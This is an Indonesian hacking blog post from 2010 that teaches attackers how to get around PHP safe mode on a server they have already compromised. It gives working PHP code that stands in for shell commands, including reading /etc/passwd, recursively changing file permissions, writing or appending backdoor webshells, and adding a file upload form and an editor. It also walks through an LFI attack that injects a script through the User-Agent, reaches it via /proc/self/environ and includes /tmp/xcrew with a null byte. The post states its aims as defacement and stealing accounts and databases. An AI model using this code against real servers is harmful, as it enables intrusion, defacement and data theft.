My site
Main | Blog | Registration | Login
Site menu
Our poll
Rate my site
Total of answers: 21
Statistics

Total online: 1
Guests: 1
Users: 0
Login form
Main » 2010 » October » 19 » Safemode ON
10:41 AM
Safemode ON
== Safemode Bypass (Proof Of Concept) ==

<Pemahaman Tentang Tutorial Ini Saya Copas Dari ExploreCrew. Penjelasan ini Saya berikan, agar tidak terjadi salah paham>.

Yang sering maen shell pasti tau tentang safemode. Ada yang off ada yang on. Kalau Safemode OFF, lancarlah kita beraksi. Command2 bisa di jalankan dengan lancar dan nyaman.

But klo Safemode ON, maka menciutlah nyali, berkuranglah semangat, dan greget2, karena command2 gak bisa di jalankan. yap, safemode on gak mengijinkan command2 shell exec di jalankan. Tools Exploit banyak yang memanfaatkan shell exec. Sehingga jika shell exec gak bisa di jalankan (dalam kasus ini karena safemode on), maka exploit gagal, tidak bisa upload shell, apalagi deface. Sehingga hal ini (safemode on) mempersulit attacker dalam beraksi.

Nah, baca kembali paragraf di atas. saya mengatakan "mempersulit", bukan mengatakan mencegah apalagi menghentikan. yap. Safemode on bukan berarti attacker tidak bisa bergerak. itu anggapan salah. Karena meskipun safemode on, attacker tetep bisa beraksi. Upload webshell, mencuri account, defacing, dll. Istilah keren-nya yg sering saya dengar di dunia maya, hal ini di sebut "Safemode Bypass". Yap, membypass safemode on untuk tetap dapat beraksi. Seperti upload phpshell, editing content, dll.

Dalam artikel ini saya akan memberikan beberapa gambaran bagaimana melakukan apa yg kita inginkan dengan kondisi server safemode on. Bahasa yg saya gunakan adalah PHP. Anda bisa membuatnya dalam bahasa lain sesuai kreasi anda. Saya hanya akan memberikan gambaran proff of concept aja. Langsung aja ye bozz.

Safemode ON memang mendisable shell exec secara otomatis. sehingga kita tidak bisa menggunakan fungsi2 shell exec seperti system(), exec(), passthru(), dan kawan-kawanya. Memang penggunaan fungsi shell exec sangat enak dan mudah karena bisa langsung menjalankan command2 shell. Namun jika hal ini tidak bisa di lakukan, maka kita harus berfikir lebih untuk dapat terus beraksi. Coding adalah jawabanya.

Dalam sekenario, tentu saja kita harus mendapatkan akses dulu ke sistem korban. ntah itu rfi, lfi, dll. yg penting udah masuk. wlo pun gak bisa ngapa2in karena shell exec nya tewas. hwekekekke. do not worry, tetep bisa beraksi.

Berikut adalah beberapa command yg sering qt pake dalam exekusi web server.

# Shell Information [ uname -a ]
$uname = php_uname();


# Current active user [ id ]
$id  = posix_geteuid();
$gid = posix_geteuid();


# get current directory  [ pwd ]
$dir = getcwd();

//cara ke2
$dir = dirname(__FILE__);


# File owner and group
$dir = getcwd();
$file = "index.php"; // contoh file index.php
$owner = posix_getpwuid(fileowner($dir.'/'.$file));
$group = posix_getgrgid(filegroup($dir.'/'.$file));


# Change direktori [ cd dir ]
Berpindah dari direktori ke direktori
chdir("/tmp"); // ex: masok dir /tmp


# File list [ ls -la ]
buka direktori aktif, ambil list2 file nya beserta permission nya.
$pwd = getcwd();
$opendir = opendir($pwd);
while (($file = readdir($opendir)) !== false) {
//$file adalah nama file ato direktori yg ada pada $pwd
//get file permission
$path = $pwd.'/'.$file;
$perm_numeric = substr(sprintf('%o', fileperms($path)), -4);
//full display perm file
$perms = fileperms($path);
if (($perms & 0xC000) == 0xC000) {
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

# writeable or not
$curr_id  = posix_geteuid();
$curr_gid = posix_geteuid();
$file_owner = posix_getpwuid(fileowner($path));
$file_group = posix_getgrgid(filegroup($path));
if($curr_id == $file_owner){ $writeable = 1; }
elseif( ($curr_gid == $file_group) && ($perms & 0x0010)) { $writealble = 1; }
elseif($perms & 0x0002) { $writeable = 1; }

# tampilkan
print $file."\t\t".$file_owner."/".$file_group."\t\t".$perm_numeric."\t\t".$perms."\t\t".(($writeable)?"Writeable":"-")."\r\n";

}
closedir($opendir);


# Change file permission [ chmod ]
//chmod +rwx file
chmod("index.php","0777");

//chmod + rwx isi direktori
$dir = "/home/user/emboh/"
while (($file = readdir($dir)) !== false) {
chmod($file,"0777");
}


# copy file [ cp /path/old/file.txt /path/new/file.txt ]
$oldfile = "/path/old/file.txt";
$newfile = "/path/new/file.txt";
copy($oldfile,$newfile);


# read file [ cat /path/file.txt ]
$file = "/etc/passwd";
$read = fopen($file,"r");
$fread = fread($read,filesize($read));
fclose($read);
print $fread;


# membuat file
teknik membuat file tepat untuk mengupload backdoor (webshell) :-P
$isifile = "blablablablablablablablablablablablablabla"; // isi script backdoor disini klo mo bikin backdoor
$create = fopen("backdoor.php","w");
fwrite($create,$isifile);
fclose($create);
chmod("backdoor.php","0755");


perhatikan parameter "w" pada fopen. w artinya write. dimana file akan fullwrite, jika file exists maka file akan di overwrite.
jika kita ingin menambahkan $isifile ke dalam file yang udah ada (misal menyisipkan backdoor ke file yg dah ada), maka parameter yg tepat adalah "a".

# rename file [ mv /path/old/file.txt /path/new/file.txt ]
$oldfile = "/path/old/file.txt";
$newfile = "/path/new/file.txt";
rename($oldfile,$newfile);


#del file [ rm -f /path/to/file.txt ]
$file = "/path/to/file.txt";
unlink($file);


# file upload
//kotak upload
echo "<form action='".$_SERVER['PHP_SELF']."' method=POST enctype='multipart/form-data'>
File: <input type=file name=File > <br>
Ke Direktori: <input type=text name=Dir ><br>
<input type=submit value=Upload >
  </form>";

//proses upload
if($_FILES['File']['name']){
if(@move_uploaded_file($_FILES['File']['tmp_name'],$_POST['Dir']."/".$_FILES['File']['name'])){
echo "File terupload ";
}
else {
echo "Gagal upload";
}
}


# file editor
if($_POST['Save']){
$isifile = $_POST['isifile'];
$file = $_POST['file'];
$save = fopen($file,"w");
if(@fwrite($save,$isifile)){ $saved = 1; }
fclose($save);
}
if($_POST['edit']){
$open = fopen($_POST['file'],"r");
$isifile = fread($open,filesize($open));
fclose($open);
}
echo "<form action='".$_SERVER['PHP_SELF']."' method=POST >
File: <input type=file > <input type=submit name=edit value=Edit ><br>
".(($saved)?"Saved!":"")."
<textarea name=isifile rows=40 cols=70>".$isifile."</textarea>
<input type=submit name=Save value=Save />
";



Dari beberapa contoh di atas, kita ketahui bahwa semuanya menggunakan fungsi2 dari program secara langsung. Fungsi2 tersebut jelas bukan shell exec. Namun sudah cukup bagi kita untuk menyerang. Misal defacing, mencuri database, dll.

Kesimpulannya, sebuah bahasa pemrogramman sudah mempunyai fungsi2 komplit yang bisa kita gunakan untuk melewati safemode on. Sehingga penggunaan programming sangat di perlukan disini. Karena keperluan kita tidak pernah sama, sehingga program / code yang kita perlukan juga tidak akan sama.

Dari sedikit contoh di atas, saya harap kita mengerti bagaimana cara membypass safemode, yaitu dengan mengganti command shell kita dengan penggunaan fungsi2 yang sudah ada pada bahasa pemrogramman maupun fungsi2 yang harus kita tulis sendiri untuk keperluan kita.

### Contoh lain penggunaan methode safemode bypass ###

# Upload shell melalui LFI (safemode ON)
Cara paling umum untuk upload shell melalui lfi adalah dengan menyisipkan command download (wget,lwp-download,dkk) pada user agent, seperti ini:




Bila safemode on, maka command tersebut jelas gagal 100%. Yang gagal adalah command nya, namun kita tidak gagal mengupload shell. Dengan metode safemode bypass. Saya membuat script berikut.


kemudian saya menyisipkan script tersebut ke user agent. lalu mengakses /proc/self/environ pada target LFI.
Script tersebut jelas sekali klo membuat file di /tmp dengan nama xcrew. Setelah mengakses environ, maka saya telah berhasil mengupload backdoor saya di /tmp dengan nama file xcrew. dan kemudian saya akan menginclude file tersebut dengan teknik LFI spt berikut:

http://target.lfi/index.php?bug=../../../../../../../../../../../../../../../../tmp/xcrew%00


Maka saya mendapatkan backdoor/webshell saya dengan cara seperti itu. Untuk selanjutnya tinggal memanfaatkan webshell tersebut.


###### QUOTES ######
Sebuah bahasa pemrogramman sudah mempunyai fungsi2 yg siap kita manfaatkan untuk keperluan2 kita, sudah selayaknya kita manfaatkan hal ini dengan tepat.

Satu jalan tertutup, cari jalan yang lain. Dalam hacking, selalu berfikir kreatif adalah kuncinya. Karena jalan selalu ada jika kita mencarinya. Hacking is Art. Ribuan jalan untuk dapat mencapai tujuan, bahkan dengan menggali lewat dalam tanah pun adalah sebuah jalan.


#### EoF #####

Article Asli Ditulis Oleh :

./ArRay a.k.a XterM
XCrew UnderGround Coder Team !
ExploreCrew
Views: 1603 | Added by: ariebunklon | Rating: 0.0/0
Total comments: 0
Name *:
Email *:
Code *:
COMMENT DISINI

ShoutMix chat widget
Search
Calendar
«  October 2010  »
SuMoTuWeThFrSa
     12
3456789
10111213141516
17181920212223
24252627282930
31
Entries archive
Site friends
  • Create your own site
  • Copyright MyCorp © 2024 Free website builderuCoz